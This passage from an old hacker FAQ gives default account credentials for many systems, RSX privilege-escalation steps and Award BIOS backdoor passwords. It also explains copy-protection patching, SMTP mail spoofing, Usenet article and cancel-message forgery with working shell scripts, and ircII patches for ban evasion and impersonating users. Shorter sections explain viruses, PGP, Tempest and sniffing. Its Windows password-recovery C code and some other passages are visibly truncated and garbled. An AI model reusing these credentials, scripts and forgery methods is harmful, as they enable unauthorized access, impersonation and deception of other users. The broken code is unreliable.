
NIH Tri-SMP 7.02-FF  16:30:04 TTY11
system 1378/1381/1453 Connected to Node Happy(40) Line # 12
Please LOGIN



                                          TBVM2 VM/ESA Rel 1.1     PUT

Fill in your USERID and PASSWORD and press ENTER
(Your password will not appear when you type it)
USERID   ===>


Xylogics Annex Communications Server
Annex Command Line Interpreter   *   Copyright 1991 Xylogics, Inc.

Checking authorization, Please wait...      -
Annex username: TNO                          - Optional security check
Annex password:                             -  Not always present

Permission granted


A-18. What are the default accounts for XXX?

guest           guest

qsecofr         qsecofr         /* master security officer */
qsysopr         qsysopr         /* system operator         */
qpgmr           qpgmr           /* default programmer      */


ibm             password
ibm             2222
ibm             service
qsecofr         1111111
qsecofr         2222222
qserv           qserv
qsvr            qsvr
secofr          secofr
qsrv            ibmce1


Dynix (The library software, not the UnixOS)
(Type 'later' to exit to the login prompt)
setup           <no password>
library         <no password>
circ            <Social Security Number>

Hewlett Packard MPE-XL
HELLO           MGR.SYS
MGR             CAROLIAN
MGR             CCC
MGR             CNAS
MGR             CONV
MGR             COGNOS
MGR             HPDESK
MGR             HPWORD
FIELD           HPWORD
MGR             HPOFFICE
MAIL            HPOFFICE
WP              HPOFFICE
MGR             HPONLY
FIELD           HPP187
MGR             HPP187
MGR             HPP189
MGR             HPP196
MGR             INTX3
MGR             ITF3000
MANAGER         ITF3000
MAIL            MAIL
MGR             NETBASE
MGR             REGO
MGR             RJE
MGR             ROBELLE
MGR             SECURITY
MGR             SYS
PCUSER          SYS
MAIL            TELESUP
MGR             TELESUP
SYS             TELESUP
MGE             VESOFT
MGE             VESOFT
MGR             WORD
MGR             XLSERVER

Common jobs are Pub, Sys, Data
Common passwords are HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote

Major BBS
Sysop           Sysop

Mitel PBX

root            NeXT
signa           signa
me              me or <null>

Nomadic Computing Environment (NCE) on the Tadpole Technologies
fax             <no password>

DSA             # Desquetop System Administrator

PRIME           PRIME
ADMIN           ADMIN
RJE             RJE
DEMO            DEMO
GAMES           GAMES
GUEST           GUEST
TEST            TEST
TOOLS           TOOLS
CMDNC0          CMDMNC0

PBX             PBX
NETOP           <null>

Radio Shack Screen Savers

CBX Defaults

op              op
op              operator
su              super
admin           pwp
eng             engineer

PhoneMail Defaults

sysadmin        sysadmin
tech            tech
poll            tech

1,1/system      (Directory [1,1] Password SYSTEM)

Default accounts for Micro/RSX:


Alternately you can hit <CTRL-Z>  when the boot sequence asks you for
the date and create an account using:

                RUN ACNT
            or  RUN $ACNT

(Numbers below 10 {oct} are privileged)

Reboot and wait for the date/time question. Type ^C and at the MCR
prompt, type "abo at." You must include the . dot!

If this works, type "acs lb0:/blks=1000" to get some swap space so the
new step won't wedge.

type " run $acnt" and change the password of any account with a group
number of 7 or less.

You may find that the ^C does not work. Try ^Z and ESC as well.
Also try all 3 as terminators to valid and invalid times.

If none of the above work, use the halt switch to halt the system, just
after a invalid date-time.  Look for a user mode PSW 1[4-7]xxxx. then
deposit 177777 into R6, cross your fingers, write protect the drive and
continue the system.  This will hopefully result in indirect blowing
up...  And hopefully the system has not been fully secured.

SGI Irix
4DGifts         <no password>
guest           <no password>
demos           <no password>
lp              <no password>
nuucp           <no password>
tour            <no password>
tutor           <no password>

System 75
bcim            bcimpw
bciim           bciimpw
bcms            bcmspw, bcms
bcnas           bcnspw
blue            bluepw
browse          looker, browsepw
craft           crftpw, craftpw, crack
cust            custpw
enquiry         enquirypw
field           support
inads           indspw, inadspw, inads
init            initpw
kraft           kraftpw
locate          locatepw
maint           maintpw, rwmaint
nms             nmspw
rcust           rcustpw
support         supportpw
tech            field

Taco Bell
rgm             rollout
tacobell        <null>

Verifone Junior 2.05
Default password: 166816

field           service
systest         utep

XON / XON Junior
Default password: 166831


A-19.  What is a trojan/worm/virus/logic bomb?

This FAQ answer was written by Theora:


Remember the Trojan Horse?  Bad guys hid inside it until they could
get into the city to do their evil deed.  A trojan computer program is
similar.  It is a program which does an unauthorized function, hidden
inside an authorized program.  It does something other than what it
claims to do, usually something malicious (although not necessarily!),
and it is intended by the author to do whatever it does.  If it's not
intentional, its called a 'bug' or, in some cases, a feature :) Some
virus scanning programs detect some trojans.  Some virus scanning
programs don't detect any trojans.  No virus scanners detect all


A virus is an independent program which reproduces itself.  It may
attach to other programs, it may create copies of itself (as in
companion viruses).  It may damage or corrupt data, change data, or
degrade the performance of your system by utilizing resources such as
memory or disk space.  Some virus scanners detect some viruses.  No
virus scanners detect all viruses.  No virus scanner can protect
against "any and all viruses, known and unknown, now and forevermore".


Made famous by Robert Morris, Jr., worms are programs which reproduce
by copying themselves over and over, system to system, using up
resources and sometimes slowing down the systems.  They are self
contained and use the networks to spread, in much the same way viruses
use files to spread.  Some people say the solution to viruses and
worms is to just not have any files or networks.  They are probably
correct.  We would include computers.

Logic Bomb:

Code which will trigger a particular form of 'attack' when a
designated condition is met.  For instance, a logic bomb could delete
all files on Dec.  5th.  Unlike a virus, a logic bomb does not make
copies of itself.


A-20.  How can I protect myself from viruses and such?

This FAQ answer was written by Theora:

The most common viruses are boot sector infectors.  You can help protect
yourself against those by write protecting all disks which you do not
need write access to.  Definitely keep a set of write protected floppy
system disks.  If you get a virus, it will make things much simpler.
And, they are good for coasters.  Only kidding.

Scan all incoming files with a recent copy of a good virus scanner.
Among the best are F-Prot, Dr.  Solomon's Anti-virus Toolkit, and
Thunderbyte Anti-Virus.  AVP is also a good program.  Using more than
one scanner could be helpful.  You may get those one or two viruses that
the other guy happened to miss this month.

New viruses come out at the rate of about 8 per day now.  NO scanner can
keep up with them all, but the four mentioned here do the best job of
keeping current.  Any _good_ scanner will detect the majority of common
viruses.  No virus scanner will detect all viruses.

Right now there are about 5600 known viruses.  New ones are written all
the time.  If you use a scanner for virus detection, you need to make
sure you get frequent updates.  If you rely on behavior blockers, you
should know that such programs can be bypassed easily by a technique
known as tunnelling.

You may want to use integrity checkers as well as scanners.  Keep in
mind that while these can supply added protection, they are not

You may want to use a particular kind of scanner, called resident
scanners.  Those are programs which stay resident in the computer memory
and constantly monitor program execution (and sometimes even access to
the files containing programs).  If you try to execute a program, the
resident scanner receives control and scans it first for known viruses.
Only if no such viruses are found, the program is allowed to execute.

Most virus scanners will not protect you against many kinds of trojans,
any sort of logic bombs, or worms.  Theoretically, they _could_ protect
you against logic bombs and/or worms, by addition of scanning strings;
however, this is rarely done.

The best, actually only way, to protect yourself is to know what you
have on your system and make sure what you have there is authorized by
you.  Make frequent backups of all important files.  Keep your DOS
system files write protected.  Write protect all disks that you do not
need to write to.  If you do get a virus, don't panic.  Call the support
department of the company who supplies your anti-virus product if you
aren't sure of what you are doing.  If the company you got your anti-
virus software from does not have a good technical support department,
change companies.

The best way to make sure viruses are not spread is not to spread them.
Some people do this intentionally.  We discourage this. Viruses aren't


A-21.  Where can I get more information about viruses?

This FAQ answer was written by Theora:

Assembly language programming books illustrate the (boring) aspect of
replication and have for a long time.  The most exciting/interesting
thing about viruses is all the controversy around them.  Free speech,
legality, and cute payloads are a lot more interesting than "find first,
find next" calls.  You can get information about the technical aspects
of viruses, as well as help if you should happen to get a virus, from
the virus-l FAQ, posted on comp. virus every so often. You can also pick
up on the various debates there.  There are alt.virus type newsgroups,
but the level of technical expertise is minimal, and so far at least
there has not been a lot of real "help" for people who want to get -
rid- of a virus.

There are a lot of virus experts.  To become one, just call yourself
one.  Only Kidding.  Understanding viruses involves understanding
programming, operating systems, and their interaction.  Understanding
all of the 'Cult of Virus' business requires a lot of discernment. There
are a number of good papers available on viruses, and the Cult of Virus;
you can get information on them from just about anyone listed in the
virus-l FAQ.  The FTP site is a pretty
reliable site for programs and text.


A-22. What is Cryptoxxxxxxx?

This FAQ answer is excerpted from: Computer Security Basics
                                   by Deborah Russell
                                   and G.T. Gengemi Sr.

A message is called either plaintext or cleartext.  The process of
disguising a message in such a way as to hide its substance is called
encryption.  An encrypted message is called ciphertext.  The process
of turning ciphertext back into plaintext is called decryption.

The art and science of keeping messages secure is called cryptography,
and it is practiced by cryptographers.  Cryptanalysts are
practitioners of cryptanalysis, the art and science of breaking
ciphertext, i.e. seeing through the disguise.  The branch of
mathematics embodying both cryptography and cryptanalysis is called
cryptology, and it's practitioners are called cryptologists.


A-23. What is PGP?

This FAQ answer is excerpted from: PGP(tm) User's Guide
                                   Volume I: Essential Topics
                                   by Philip Zimmermann

PGP(tm) uses public-key encryption to protect E-mail and data files.
Communicate securely with people you've never met, with no secure
channels needed for prior exchange of keys.  PGP is well featured and
fast, with sophisticated key management, digital signatures, data
compression, and good ergonomic design.

Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a
high security cryptographic software application for MS-DOS, Unix,
VAX/VMS, and other computers.  PGP allows people to exchange files or
messages with privacy, authentication, and convenience.  Privacy means
that only those intended to receive a message can read it.
Authentication means that messages that appear to be from a particular
person can only have originated from that person. Convenience means
that privacy and authentication are provided without the hassles of
managing keys associated with conventional cryptographic software.  No
secure channels are needed to exchange keys between users, which makes
PGP much easier to use.  This is because PGP is based on a powerful
new technology called "public key" cryptography.

PGP combines the convenience of the Rivest-Shamir-Adleman (RSA) public
key cryptosystem with the speed of conventional cryptography, message
digests for digital signatures, data compression before encryption, good
ergonomic design, and sophisticated key management.  And PGP performs
the public-key functions faster than most other software
implementations.  PGP is public key cryptography for the masses.


A-24. What is Tempest?

Tempest stands for Transient Electromagnetic Pulse Surveillance

Computers and other electronic equipment release interference to their
surrounding environment.  You may observe this by placing two video
monitors close together.  The pictures will behave erratically until you
space them apart.

What is important for an observer is the emission of digital pulses (1s
and 0s) as these are used in computers.  The channel for this radiation
is in two arrangements, radiated emissions and conducted emissions.
Radiated emissions are assembled when components in electrical devices
form to act as antennas.  Conducted emissions are formed when radiation
is conducted along cables and wires.

Although most of the time these emissions are simply annoyances, they
can sometimes be very helpful.  Suppose we wanted to see what project a
target was working on.  We could sit in a van outside her office and use
sensitive electronic equipment to attempt to pick up and decipher the
radiated emissions from her video monitor.  These emissions normally
exist at around 55-245 Mhz and can be picked up as far as one kilometer

A monitoring device can distinguish between different sources emitting
radiation because the sources emanating the radiation are made up of
dissimilar elements and so this coupled with other factors varies the
emitted frequency.  For example different electronic components in VDUs,
different manufacturing processes involved in reproducing the VDUs,
different line syncs, etc...  By synchronizing our raster with the
targets raster we can passively draw the observed screen in real-time.
This technology can be acquired by anyone, not just government agencies.

The target could shield the emissions from her equipment or use
equipment that does not generate strong emissions.  However, Tempest
equipment is not legal for civilian use in the United States.

Tempest is the US Government program for evaluation and endorsement of
electronic equipment that is safe from eavesdropping.  Tempest
certification refers to the equipment having passed a testing phase and
agreeing to emanations rules specified in the government document NACSIM
5100A (Classified).  This document sets forth the emanation levels that
the US Government believes equipment can give off without compromising
the information it is processing.


A-25. How do I defeat Copy Protection?

There are two common methods of defeating copy protection.  The first
is to use a program that removes copy protection.  Popular programs
that do this are CopyIIPC from Central Point Software and CopyWrite
from Quaid Software.  The second method involves patching the copy
protected program.  For popular software, you may be able to locate a
ready made patch.  You can them apply the patch using any hex editor,
such as debug or the Peter Norton's DiskEdit.  If you cannot, you must
patch the software yourself.

Writing a patch requires a debugger or a disassembler.  It also requires
some knowledge of assembly language.  Load the protected program under
the debugger and watch for it to check the protection mechanism.  When
it does, change that portion of the code.  The code can be changed from
JE (Jump on Equal) or JNE (Jump On Not Equal) to JMP (Jump
Unconditionally).  Or the code may simply be replaced with NOP (No
Operation) instructions.


A-26. What are some available debuggers and disassemblers?

Soft-Ice ($439)
Soft-Ice for Windows ($329)
Soft-Ice for Windows95 ($329)
Soft-Ice for WindowsNT ($329)
Nu-Mega Technologies, Inc.
9 Townsend West
Nashua, NH 03063

D86 - Eric Isaacson's ShareWare debugger

BrandX full-screen debugger

Sourcer ($95)
V Communications, Inc.
4320 Stevens Creek Boulevard
Suite 120
San Jose, CA 95129
(408)296-4441 Fax

IDA (Interactive Disassembler)


A-27. How do I defeat a BIOS password?

This depends on what BIOS the machine has.  Common BIOS's include AMI,
Award, IBM and Phoenix.  Numerous other BIOS's do exist, but these are
the most common.

Some BIOS's allow you to require a password be entered before the system
will boot. Some BIOS's allow you to require a password to be entered
before the BIOS setup may be accessed.

Every BIOS must store this password information somewhere.  If you are
able to access the machine after it has been booted successfully, you
may be able to view the password.  You must know the memory address
where the password is stored, and the format in which the password is
stored.  Or, you must have a program that knows these things.

You can write your own program to read the CMOS memory on a PC by
writing the address of the byte of CMOS memory that you wish to read in
port 0x370, and then reading the contents of port 0x371.

[Note from Screech: I've always thought that it was 0x70 and 0x71 H.]
[Note from qu@f.f: You're correct that the FAQ's incorrect H.]

The most common pre-written BIOS password attack programs are for AMI
BIOS.  Some password attack programs will return the AMI BIOS password
in plain text, some will return it in ASCII codes, some will return it
in scan codes. This appears to be dependent not just on the password
attacker, but also on the version of AMI BIOS.

To obtain AMI BIOS password attackers, ftp to

Award BIOS appears not to store the BIOS password, but instead only
stores a two byte checksum of the BIOS password.  This means that any
other password with the same checksum will work just as well as the
original password.

In addition, Award BIOS seems to implement backdoor passwords.  One
backdoor password is eight spaces.  Other backdoor passwords are
"AWARD_SW", "AWARD_PW", "589589", "condo", "j262", "KDD", "ZBAAACA",
"ZAAAADA", and "ZJAAADC." Remember that these may not be the actual
backdoor passwords, these passwords may simply have the same checksum as
the actual backdoor passwords.  This checksum is stored at F000:EC60.

If you cannot access the machine after if has been powered up, it is
still possible to get past the password.  The password is stored in CMOS
memory that is maintained while the PC is powered off by a small
battery, which is attached to the motherboard.  If you remove this
battery, all CMOS information will be lost.  You will need to re-enter
the correct CMOS setup information to use the machine.  The machines
owner or user will most likely be alarmed when it is discovered that the
BIOS password has been deleted.

On some motherboards, the battery is soldered to the motherboard, making
it difficult to remove.  If this is the case, you have another
alternative.  Somewhere on the motherboard you should find a jumper that
will clear the BIOS password.  If you have the motherboard
documentation, you will know where that jumper is.  If not, the jumper
may be labeled on the motherboard.  If you are not fortunate enough for
either of these to be the case, you may be able to guess which jumper is
the correct jumper.  This jumper is usually standing alone near the
battery.  If you cannot locate this jumper, you might short both of the
points where the battery connects to the motherboard.  Several people
have reported positive results from doing this, but I haven't wanted to
test it on any of my own motherboards.

[Note from Dan Mellem: Another technique is to short out the battery for
a few seconds. H.]

[Note from Bluefish: In the !BIOS section you ought to list !BIOS and
Greniers tools. H.]


A-28. What is the password for <encrypted file>?

This FAQ answer was written by crypt <>

 Magazine                        Password
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~    ~~~~~~~~~~~
 VLAD Magazine Issue #1          vlad
 VLAD Magazine Issue #2          vx
 VLAD Magazine Issue #3          virus
 NuKE InfoJournal Issue #2       514738
 NuKE InfoJournal Issue #3       power
 NuKE InfoJournal Issue #4       party

 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~    ~~~~~~~~~~~
 Sphere Hacker 1.40 & 1.41       theozone
 Virus Creation 2000             high level
 Virus Construction Lab          Chiba City
 Ejecutor Virus Creator          EJECUTOR
 Biological Warfare v0.90        lo tek
 Biological Warfare v1.00        freak


A-29. Is there any hope of a decompiler that would convert an executable
program into C/C++ code?

This FAQ answer is an excerpt from SNIPPETS by Bob Stout:

Don't hold your breath. Think about it... For a decompiler to work
properly, either 1) every compiler would have to generate substantially
identical code, even with full optimization turned on, or 2) it would
have to recognize the individual output of every compiler's code

If the first case were to be correct, there would be no more need for
compiler benchmarks since every one would work the same.  For the second
case to be true would require in immensely complex program that had to
change with every new compiler release.

OK, so what about specific decompilers for specific compilers - say a
decompiler designed to only work on code generated by, say, BC++ 4.5?
This gets us right back to the optimization issue.  Code written for
clarity and understandability is often inefficient.  Code written for
maximum performance (speed or size) is often cryptic (at best!) Add to
this the fact that all modern compilers have a multitude of optimization
switches to control which optimization techniques to enable and which to
avoid.  The bottom line is that, for a reasonably large, complex source
module, you can get the compiler to produce a number of different object
modules simply by changing your optimization switches, so your
decompiler will also have to be a deoptimizer which can automagically
recognize which optimization strategies were enabled at compile time.

OK, let's simplify further and specify that you only want to support one
specific compiler and you want to decompile to the most logical source
code without trying to interpret the optimization.  What then?  A good
optimizer can and will substantially rewrite the internals of your code,
so what you get out of your decompiler will be, not only cryptic, but in
many cases, riddled with goto statements and other no-no's of good
coding practice.  At this point, you have decompiled source, but what
good is it?

Also note carefully my reference to source modules.  One characteristic
of C is that it becomes largely unreadable unless broken into easily
maintainable source modules (.C files).  How will the decompiler deal
with that? It could either try to decompile the whole program into some
mammoth main() function, losing all modularity, or it could try to place
each called function into its own file.  The first way would generate
unusable chaos and the second would run into problems where the original
source hade files with multiple functions using static data and/or one
or more functions calling one or more static functions.  A decompiler
could make static data and/or functions global but only at the expense
or readability (which would already be unacceptable).

Finally, remember that commercial applications often code the most
difficult or time-critical functions in assembler which could prove
almost impossible to decompile into a C equivalent.

Like I said, don't hold your breath. As technology improves to where
decompilers may become more feasible, optimizers and languages (C++, for
example, would be a significantly tougher language to decompile than C)
also conspire to make them less likely.

For years Unix applications have been distributed in shrouded source
form (machine but not human readable -- all comments and whitespace
removed, variables names all in the form OOIIOIOI, etc.), which has been
a quite adequate means of protecting the author's rights.  It's very
unlikely that decompiler output would even be as readable as shrouded

For more information, check out


A-30. How does the MS-Windows password encryption work?

This FAQ answer was written by Wayne Hoxsie <>:

The password option in MS Win 3.1 is easily defeated, but there are
those of us who really want to know how MS does this.  There are many
reasons why knowing the actual password can be useful.  Suppose a
sysamin used the same password in the windows screen saver as his root
account on a unix box.

Anyway, I will attempt to relay what I have learned about this

I will describe the process starting after you've entered the password
and hit the [OK] button.

I will make the assumtion that everyone (at least those interested) know
what the XOR operation is.

First, the length of the password is saved.  We'll call this 'len'. We
will be moving characters from the entered string into another string as
they are encrypted.  We'll call the originally entered password
'plaintext' and the encrypted string(strings--there are two passes)
'hash1' and 'hash2.'  The position in the plaintext is important during
the process so we'll refer to this as 'pos.'  After each step of the
hashing process, the character is checked against a set of characters
that windows considers 'special.'  These characters are '[ ] =' and any
character below ASCII 33 or above ASCII 126.  I'll refer to this
checking operation as 'is_ok.'  All indecies are zero-based (i.e. an 8
character password is considered chars 0 to 7).

Now, the first character of 'plaintext' is xor'd with 'len' then fed to
'is_ok'.  if the character is not valid, it is replaced by the original
character of 'plaintext' before going to the next operation.  The next
operation is to xor with 'pos' (this is useless for the first operation
since 'len' is 0 and anything xor'd with zero is itself) then fed to
'is_ok' and replaced with the original if not valid.  The final
operation (per character) is to xor it with the previous character of
'plaintext'. Since there is no previous character, the fixed value, 42,
is used on the first character of 'plaintext'.  This is then fed to
'is_ok' and if OK, it is stored into the first position of 'hash1' This
process proceeds until all characters of plaintext are exhausted.

The second pass is very similar, only now, the starting point is the
last character in hash1 and the results are placed into hash2 from the
end to the beginning.  Also, instead of using the previous character in
the final xoring, the character following the current character is used.
Since there is no character following the last character in hash1, the
value, 42 is again used for the last character.

'hash2' is the final string and this is what windows saves in the file

To 'decrypt' the password, the above procedure is just reversed.

Now, what you've all been waiting for.  Here is some C code that will do
the dirty work for you:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int xor1(int i,int j)
  int x;

  return (x>126||x<33||x==91||x==93||x==61)?i:x;
void main()
  FILE *f;
  int i,l;
  char s[80],s1[80];

  printf("Please enter the path to your Windows directory\n");
    printf("File Error : %s\n",sys_errlist[errno]);
  printf("The Password is: %s\n",s);

=-=-=-=-=-=-=-=-=-=-=-=  Section B -- Data Networks  =-=-=-=-=-=-=-=-=-=-=

B-01. How do I send fakemail?

Telnet to port 25 of the machine you want the mail to appear to
originate from.  This will connect you directly to the SMTP (Simple Mail
Transfer Protocol) daemon running on that host. Then, enter SMTP
commands by hand directly to the SMTP daemon.

Enter your message as in this example:

 Date: Thu, 31 Dec 1998 12:16:35 -0500 (EST)
 From: (The Voyager)
 Subject: Clipper

        Please discontinue your silly Clipper initiative.

On systems that have RFC 931 implemented, spoofing your "MAIL FROM:"
line will not work.  Test by sending yourself fakemail first.

Newer SMTP daemons, such as smail or sendmail 8.7+, perform an
identd check when you connect to them.  These SMTP daemons are
impossible to completely spoof without first spoofing identd.

For more information read RFC 822 (Standard for the format of ARPA
Internet text messages).

Note that the headers inside the DATA statement should be optional, but
are actually required by some mailers.  Even when not required, they
often help your message appear genuine.

To locate an SMTP server for a domain, use `nslookup` and set your
querytype to MX.


B-02. How do I fake posts and control messages to Usenet?

 From: Anonymous (Pretending to be: (David C
 Subject: FAQ: Better living through forgery
 Date: 19 Mar 1995 02:37:09 GMT

        Anonymous netnews without "anonymous" remailers

 Inspired by the recent "NetNews Judges-L" events, this file has been
 updated to cover forging control messages, so you can do your own
 article canceling and create and destroy your own newsgroups.

 Save any news article to a file.  We'll call it "hak" in this

 Edit "hak", and remove any header lines of the form

         From some!random!path!user   (note: "From ", not "From: "!!!)

 Shorten the Path: header down to its LAST two or three "bangized"
 components. This is to make the article look like it was posted from
 where it really was posted, and originally hit the net at or near the
 host you send it to.  Or you can construct a completely new Path: line
 to reflect your assumed alias.

 Make some change to the Message-ID: field, that isn't likely to be
 duplicated anywhere.  This is usually best done by adding a couple of
 random characters to the part before the @, since news posting programs
 generally use a fixed-length field to generate these IDs.

 Change the other headers to say what you like -- From:, Newsgroups:,
 Sender:, etc.  Replace the original message text with your message. If
 you are posting to a moderated group or posting a control message,
 remember to put in an Approved: header to bypass the moderation

 To specifically cancel someone else's article, you need its message-
 ID. Your message headers, in addition to what's already there, should
 also contain the following with that message-ID in it.  This makes it a
 "control message". NOTE: control messages generally require an
 Approved: header as well, so you should add one.

 Subject: cmsg cancel <>
 Control: cancel <>

 Newsgroups are created and destroyed with control messages, too.  If
 you wanted to create, for instance,, your
 control headers would look like

 Subject: cmsg newgroup
 Control: newgroup

 Add on the string "moderated" at the end of these if you want the group
 to be "moderated with no moderator" as with alt.hackers.  Somewhere in
 the body of your message, you should include the following text,
 changed with the description of the group you're creating:

 For your newsgroups file:               We don't do windows

 To remove a group, substitute "rmgroup" for "newgroup" in the header
 lines above.  Keep in mind that most sites run all "rmgroup" requests
 through a human news-master, who may or may not decide to honor it.
 Group creation is more likely to be automatic than deletion at most
 installations.  Any newsgroup changes are more likely to take effect if
 the come from me, since my name is hardwired into many of the NNTP
 control scripts, so using the From: and Approved: headers from this
 posting is recommended.

 Save your changed article, check it to make sure it contains NO
 reference to yourself or your own site, and send it to your favorite
 NNTP server that permits transfers via the IHAVE command, using the
 following script:

 #! /bin/sh
 ## Post an article via IHAVE.
 ## args: filename server

  if test "$2" = "" ; then
   echo usage: $0 filename server
   exit 1
 if test ! -f $1 ; then
   echo $1: not found
   exit 1

 # suck msg-id out of headers, keep the brackets
 msgid=`sed -e '/^$/,$d' $1 | egrep '^[Mm]essage-[Ii][Dd]: ' | \
   sed 's/.*-[Ii][Dd]: //'`
 echo $msgid

 ( sleep 5
   echo IHAVE $msgid
   sleep 5
   cat $1
   sleep 1
    echo "."
   sleep 1
   echo QUIT ) | telnet $2 119

 If your article doesn't appear in a day or two, try a different server.
 They are easy to find.  Here's a script that will break a large file
 full of saved netnews into a list of hosts to try.  Edit the output of
 this if you want, to remove obvious peoples' names and other trash.

 #! /bin/sh
 FGV='fgrep -i -v'
 egrep '^Path: ' $1 | sed -e 's/^Path: //' -e 's/!/\
 /g' | sort -u | fgrep . | $FGV .bitnet | $FGV .uucp

 Once you have your host list, feed it to the following script.

 #! /bin/sh

 while read xx ; do
 if test "$xx" = "" ; then continue;
 echo === $xx
 ( echo open $xx 119
   sleep 5
   echo ihave
   sleep 4
   echo .
   echo quit
   sleep 1
   echo quit
 ) | telnet

 If the above script is called "findem" and you're using csh, you should

         findem < list >& outfile

 so that ALL output from telnet is captured.  This takes a long time,
 but when it finishes, edit "outfile" and look for occurrences of "335".
 These mark answers from servers that might be willing to accept an
 article.  This isn't a completely reliable indication, since some
 servers respond with acceptance and later drop articles.  Try a given
 server with a slightly modified repeat of someone else's message, and
 see if it eventually appears.

 Sometimes the telnets get into an odd state, and freeze, particularly
 when a host is refusing NNTP connections.  If you manually kill these
 hung telnet processes but not the main script, the script will continue
 on.  In other words, you may have to monitor the finding script a
 little while it is running.

 You will notice other servers that don't necessarily take an IHAVE, but
 say "posting ok".  You can probably do regular POSTS through these, but
 they will add an "NNTP-Posting-Host: " header containing the machine
 YOU came from and are therefore unsuitable for completely anonymous



B-03. How do I hack ChanOp on IRC?

Find a server that is split from the rest of IRC and create your own
channel there using the name of the channel you want ChanOp on.  When
that server reconnects to the net, you will have ChanOp on the real
channel.  If you have ServerOp on a server, you can cause it to split
on purpose.


B-04. How do I modify the IRC client to hide my real username?

Note: This FAQ answer was written by someone else, but I do not know
      If you know who originally wrote this, please e-mail me.


Applying these changes to the source code for your ircII client and
recompiling gives you a new ircII command: /NEWUSER.  This new command
can be used as follows:

 *   /NEWUSER <new_username> [new_IRCNAME]
 *       <new_username> is a new username to use and is required
 *       [new_IRCNAME] is a new IRCNAME string to use and is optional
 *   This will disconnect you from your server and reconnect using
 *     the new information given.  You will rejoin all channel you
 *     are currently on and keep your current nickname.

The effect is basically changing your username/IRCname on the fly.
Although you are disconnected from your server and reconnected, the
ircII client is never exited, thus keeping all your state information
and aliases intact.  This is ideal for bots that wish to be REALLY
obnoxious in ban evasion. ;)

As this is now a new command in ircII, it can be used in scripts. Be
aware that the reconnect associated with the NEWUSER command takes
so TIMER any commands that must immediately follow the NEWUSER. For
example... ban evasion made easy (but beware infinite reconnects when
your site is banned):

on ^474 * {
  echo *** Banned from channel $1
  if ($N == [AnnMurray]) {
    nick $randomstring
    join $1
    } {
    nick AnnMurray
    newuser $randomstring
    timer 5 join $1

Or just to be annoying... a /BE <nickname> alias that will assume a
person's username and IRCNAME:

alias be {
  ^on ^311 * {
    ^on 311 -*
    newuser $2 $5-
  whois $0

Now... in order to add this command to your ircII client, get the latest
client source (or whatever client source you are using).  Cd into the
source directory and edit the file "edit.c".  Make the following

Locate the line which reads:
extern  void    server();

Insert the following line after it:
static  void    newuser();

This pre-defines a new function "newuser()" that we'll add later.

Now, locate the line which reads:
        "NAMES",        "NAMES",        funny_stuff,            0,

Insert the following line after it:
        "NEWUSER",      NULL,           newuser,                0,

This adds a new command NEWUSER to the list of valid IRCII commands, and
tells it to call our new function newuser() to perform it.

Finally, go the bottom of the file and add the following code as our new
function "newuser()":

 * newuser: the /NEWUSER command.  Added by Hendrix
 *   Parameters as follows:
 *     /NEWUSER <new_username> [new_IRCNAME]
 *       <new_username> is a new username to use and is required
 *       [new_IRCNAME] is a new IRCNAME string to use and is optional
 *   This will disconnect you from your server and reconnect using
 *     the new information given.  You will rejoin all channels you
 *     are currently on and keep your current nickname.

static void    newuser(command, args)
char    *command,
        char    *newuname;

        if (newuname = next_arg(args, &args))
                strmcpy(username, newuname, NAME_LEN);
                if (*args)
                        strmcpy(realname, args, REALNAME_LEN);
                say("Reconnecting to server...");
                if (connect_to_server(server_list[from_server].name,
                      server_list[from_server].port, primary_server)
                        set_window_server(-1, from_server, 1);
                        say("Unable to reconnect. Use /SERVER to
                say("You must specify a username and, optionally, an


/NEWUSER will not hide you from a CTCP query.  To do that, modify ctcp.c
as shown in the following diff and set an environment variable named
CTCPFINGER with the information you would like to display when queried.

*** ctcp.old
--- ctcp.c
*** 334 ****
!       char    c;
--- 334 ---
!       char    c, *fing;
*** 350,354 ****
!               if (pwd = getpwuid(uid))
                        char    *tmp;
--- 350,356 ----
!               if (fing = getenv("CTCPFINGER"))
!                       send_ctcp_reply(from, ctcp->name, fing, diff,
!               else if (pwd = getpwuid(uid))
                        char    *tmp;



B-05. What is sniffing?

Sniffing is listening (with software) to the raw network device for
packets that interest you.  When your software sees a packet that fits
certain criteria, it logs it to a file.  The most common criteria for an
interesting packet is one that contains words like "login" or

You will have to obtain or code a sniffer that is capable of working
with the appropriate type of network interface.  Popular network
interfaces include NIT (Network Interface Tap), and DLPI (Data Link
Provider Interface), and BPF (Berkeley Packet Filter.)

LLI was a network interface used by SCO, which has been augmented with
DLPI support as of SCO OpenServer Release V.  NIT was a network
interface used by Sun, but has been replaced in later releases of
SunOS/Solaris with DLPI.  Ultrix supported the Ultrix Packet Filter
before Digital implemented support for BPF.

DLPI is supported under current releases of System V Release 4,
SunOS/Solaris, AIX, HP/UX, UnixWare, Irix, and MacOS.  DLPI is partially
supported under Digital Unix. Sun DLPI version 2 supports Ethernet, X.25
LAPB, SDLC, ISDN LAPD, CSMA/CD, FDDI, token ring, token bus, and Bisync
as data-link protocols.  The DLPI network interface provided with HP/UX
supports Ethernet/IEEE 802.3, IEEE 802.5, FDDI, and Fibre Channel.

For more information regarding DLPI, access the DLPI Specification at or FTP the paper "How to
Use DLPI in Solaris 2.x" by Neal Nuckolls from in

BPF is supported under current releases of BSD and Digital Unix, and has
been ported to SunOS and Solaris.  AIX supports BPF reads, but not
writes.  A BPF library is available for Linux.

Many sniffers are available for various operating systems:

OS              Sniffer
~~              ~~~~~~~
4.3/4.4 BSD     tcpdump            /* Available via anonymous ftp */
FreeBSD         tcpdump            /* Available via anonymous ftp at */
                                   /* */
        /* /.0/BSD/FreeBSD/FreeBSD-current/src/contrib/tcpdump/ */
NetBSD          tcpdump            /* Available via anonymous ftp at */
                                   /* */
                /* /.0/BSD/NetBSD/NetBSD-current/src/usr.sbin/ */
DEC Unix        tcpdump            /* Available via anonymous ftp */
DEC Ultrix      tcpdump            /* Available via anonymous ftp */
HP/UX           nettl  (monitor)
              & netfmt (display)
                nfswatch           /* Available via anonymous ftp */
Linux           tcpdump            /* Available via anonymous ftp at */
                                   /* */
                        /* /pub/Linux/system/Network/management/ */
SGI Irix        nfswatch           /* Available via anonymous ftp */
                tcpdump            /* Available via anonymous ftp */
Solaris         snoop
SunOS           etherfind
                nfswatch           /* Available via anonymous ftp */
                tcpdump            /* Available via anonymous ftp */
